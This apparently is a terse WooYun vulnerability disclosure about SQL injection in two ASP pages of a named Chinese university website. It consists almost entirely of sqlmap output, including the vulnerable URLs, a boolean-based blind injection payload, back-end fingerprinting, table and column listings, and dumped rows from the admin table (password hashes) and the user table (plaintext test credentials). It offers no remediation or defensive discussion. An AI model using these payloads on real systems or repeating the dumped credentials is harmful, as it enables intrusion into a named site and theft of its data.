WooYun.org

注入:
http://unit.cug.edu.cn/ceping/show.asp?id=1067
http://unit.cug.edu.cn/ceping/list.asp?id=65
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1067 AND 8244=8244
---
[13:58:34] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[13:58:34] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\unit.cug.edu.cn'
[*] shutting down at 13:58:34
Database: Microsoft_Access_masterdb
[10 tables]
+----------+
| user |
| admin |
| download |
| feedback |
| market |
| news |
| photo |
| product |
| survey |
| vote |
+----------+
Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| author | non-numeric |
| id | numeric |
| link | non-numeric |
| password | non-numeric |
| sub | non-numeric |
+----------+-------------+
Database: Microsoft_Access_masterdb
Table: admin
[2 entries]
+----+-----+------+--------+------------------+
| id | sub | link | author | password |
+----+-----+------+--------+------------------+
| 1 | <blank> | # | <blank> | 49ba59abbe56e057 |
| 19 | <blank> | # | <blank> | c8e331e440468a7d |
+----+-----+------+--------+------------------+
Database: Microsoft_Access_masterdb
Table: user
[12 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| author | non-numeric |
| email | non-numeric |
| homepage | non-numeric |
| id | numeric |
| link | non-numeric |
| logins | numeric |
| password | non-numeric |
| phone | non-numeric |
| question | non-numeric |
| sub | non-numeric |
| userid | numeric |
| username | non-numeric |
+----------+-------------+
Database: Microsoft_Access_masterdb
Table: user
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| test1 | test1 |
+----------+----------+
等！